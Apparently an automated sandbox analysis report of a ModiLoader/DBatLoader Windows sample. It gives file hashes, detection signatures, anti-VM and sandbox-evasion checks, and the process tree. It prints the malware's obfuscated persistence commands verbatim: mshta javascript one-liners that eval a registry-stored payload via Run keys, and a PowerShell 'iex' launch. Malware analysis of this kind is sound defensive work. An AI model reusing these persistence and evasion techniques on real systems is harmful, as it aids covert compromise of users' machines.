Analysis
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max time kernel
176s -
max time network
213s -
platform
windows7_x64 -
resource
win7-20220718-en -
resource tags
arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system -
submitted
02-08-2022 04:24
Static task
static1
Behavioral task
behavioral1
Sample
5a3294a4c4fc2c8dd97d8397b0ec354213b02828390093b626a19ad47d6be2d5.exe
Resource
win7-20220718-en
Behavioral task
behavioral2
Sample
5a3294a4c4fc2c8dd97d8397b0ec354213b02828390093b626a19ad47d6be2d5.exe
Resource
win10v2004-20220721-en
General
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Target
5a3294a4c4fc2c8dd97d8397b0ec354213b02828390093b626a19ad47d6be2d5.exe
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Size
404KB
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MD5
6e39c75f1defb2020783df539a05c327
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SHA1
e899ef1ade27bcbc4479c0bea01c586b8ac9d1b1
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SHA256
5a3294a4c4fc2c8dd97d8397b0ec354213b02828390093b626a19ad47d6be2d5
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SHA512
c5d84f0d351eae549389403fcc88a7d731031888c2033fc3cf6f6eb685209dca78c2f34002b4afcfeaf495736b5ed08b93c544debefeeb7d63b0ee9ca61179de
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1692 988 mshta.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 11 IoCs
Processes:
resource yara_rule behavioral1/memory/2016-56-0x0000000000400000-0x000000000046B000-memory.dmp modiloader_stage2 behavioral1/memory/2016-57-0x0000000000050000-0x0000000000110000-memory.dmp modiloader_stage2 behavioral1/memory/2016-62-0x0000000000050000-0x0000000000110000-memory.dmp modiloader_stage2 behavioral1/memory/1056-65-0x0000000002480000-0x00000000030CA000-memory.dmp modiloader_stage2 behavioral1/memory/1056-66-0x0000000005B80000-0x0000000005C40000-memory.dmp modiloader_stage2 behavioral1/memory/1056-69-0x0000000005B80000-0x0000000005C40000-memory.dmp modiloader_stage2 behavioral1/memory/384-72-0x0000000000090000-0x0000000000150000-memory.dmp modiloader_stage2 behavioral1/memory/1292-76-0x0000000000190000-0x0000000000250000-memory.dmp modiloader_stage2 behavioral1/memory/2016-77-0x0000000000050000-0x0000000000110000-memory.dmp modiloader_stage2 behavioral1/memory/384-78-0x0000000000090000-0x0000000000150000-memory.dmp modiloader_stage2 behavioral1/memory/1292-79-0x0000000000190000-0x0000000000250000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:ofU64PON=\"b3kwFei\";B69R=new%20ActiveXObject(\"WScript.Shell\");eox0zOUS=\"P\";nkl6w=B69R.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\62d02d1b9a\\\\b0231e61\");hNC15yVE=\"hZOzpA\";eval(nkl6w);nM5AWIzf=\"6qkuMx\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 384 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:XFkHRkp3=\"cXfU9w2\";qs7=new%20ActiveXObject(\"WScript.Shell\");TCS96bxT=\"j\";eZn9t=qs7.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\62d02d1b9a\\\\b0231e61\");P0YWcqjkM=\"cvjJnCc\";eval(eZn9t);UxQzE2O8=\"Q\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:X7QsyEFEk=\"qIC\";Wu53=new%20ActiveXObject(\"WScript.Shell\");ywjEo6n=\"F8NDbOqLrU\";j6C7NF=Wu53.RegRead(\"HKCU\\\\software\\\\62d02d1b9a\\\\b0231e61\");RzYUjZSH1=\"kXi\";eval(j6C7NF);Sqb9t7KXvx=\"Qjjsg5t\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Processes:
regsvr32.exemshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeregsvr32.exepid process 1056 powershell.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
powershell.exeregsvr32.exepid process 1056 powershell.exe 1056 powershell.exe 1056 powershell.exe 384 regsvr32.exe 384 regsvr32.exe 384 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1056 powershell.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
mshta.exepowershell.exeregsvr32.exedescription pid process target process PID 1692 wrote to memory of 1056 1692 mshta.exe powershell.exe PID 1692 wrote to memory of 1056 1692 mshta.exe powershell.exe PID 1692 wrote to memory of 1056 1692 mshta.exe powershell.exe PID 1692 wrote to memory of 1056 1692 mshta.exe powershell.exe PID 1056 wrote to memory of 384 1056 powershell.exe regsvr32.exe PID 1056 wrote to memory of 384 1056 powershell.exe regsvr32.exe PID 1056 wrote to memory of 384 1056 powershell.exe regsvr32.exe PID 1056 wrote to memory of 384 1056 powershell.exe regsvr32.exe PID 1056 wrote to memory of 384 1056 powershell.exe regsvr32.exe PID 1056 wrote to memory of 384 1056 powershell.exe regsvr32.exe PID 1056 wrote to memory of 384 1056 powershell.exe regsvr32.exe PID 384 wrote to memory of 1292 384 regsvr32.exe regsvr32.exe PID 384 wrote to memory of 1292 384 regsvr32.exe regsvr32.exe PID 384 wrote to memory of 1292 384 regsvr32.exe regsvr32.exe PID 384 wrote to memory of 1292 384 regsvr32.exe regsvr32.exe PID 384 wrote to memory of 1292 384 regsvr32.exe regsvr32.exe PID 384 wrote to memory of 1292 384 regsvr32.exe regsvr32.exe PID 384 wrote to memory of 1292 384 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\5a3294a4c4fc2c8dd97d8397b0ec354213b02828390093b626a19ad47d6be2d5.exe"C:\Users\Admin\AppData\Local\Temp\5a3294a4c4fc2c8dd97d8397b0ec354213b02828390093b626a19ad47d6be2d5.exe"1⤵
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:TB3yoYs="YAxhLO13";j4l=new%20ActiveXObject("WScript.Shell");oJ31huvB="P3";mv0pB=j4l.RegRead("HKLM\\software\\Wow6432Node\\PPkomh\\oS9fEza");FHH6z2iXUc="uqjloo";eval(mv0pB);FT9zytcC7K="di6B";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:eqvlwye2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/384-67-0x0000000000000000-mapping.dmp
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memory/384-78-0x0000000000090000-0x0000000000150000-memory.dmpFilesize
768KB
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memory/384-72-0x0000000000090000-0x0000000000150000-memory.dmpFilesize
768KB
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memory/384-71-0x0000000000610000-0x0000000000617000-memory.dmpFilesize
28KB
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memory/1056-60-0x0000000073FB0000-0x000000007455B000-memory.dmpFilesize
5.7MB
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memory/1056-68-0x0000000073FB0000-0x000000007455B000-memory.dmpFilesize
5.7MB
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memory/1056-69-0x0000000005B80000-0x0000000005C40000-memory.dmpFilesize
768KB
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memory/1056-58-0x0000000000000000-mapping.dmp
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memory/1056-63-0x0000000073FB0000-0x000000007455B000-memory.dmpFilesize
5.7MB
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memory/1056-64-0x0000000002A32000-0x0000000002A42000-memory.dmpFilesize
64KB
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memory/1056-65-0x0000000002480000-0x00000000030CA000-memory.dmpFilesize
12.3MB
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memory/1056-66-0x0000000005B80000-0x0000000005C40000-memory.dmpFilesize
768KB
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memory/1292-73-0x0000000000000000-mapping.dmp
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memory/1292-75-0x0000000000610000-0x0000000000617000-memory.dmpFilesize
28KB
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memory/1292-76-0x0000000000190000-0x0000000000250000-memory.dmpFilesize
768KB
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memory/1292-79-0x0000000000190000-0x0000000000250000-memory.dmpFilesize
768KB
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memory/2016-62-0x0000000000050000-0x0000000000110000-memory.dmpFilesize
768KB
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memory/2016-54-0x00000000756C1000-0x00000000756C3000-memory.dmpFilesize
8KB
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memory/2016-61-0x0000000002390000-0x00000000024BD000-memory.dmpFilesize
1.2MB
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memory/2016-57-0x0000000000050000-0x0000000000110000-memory.dmpFilesize
768KB
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memory/2016-56-0x0000000000400000-0x000000000046B000-memory.dmpFilesize
428KB
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memory/2016-77-0x0000000000050000-0x0000000000110000-memory.dmpFilesize
768KB
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memory/2016-55-0x0000000002390000-0x00000000024BD000-memory.dmpFilesize
1.2MB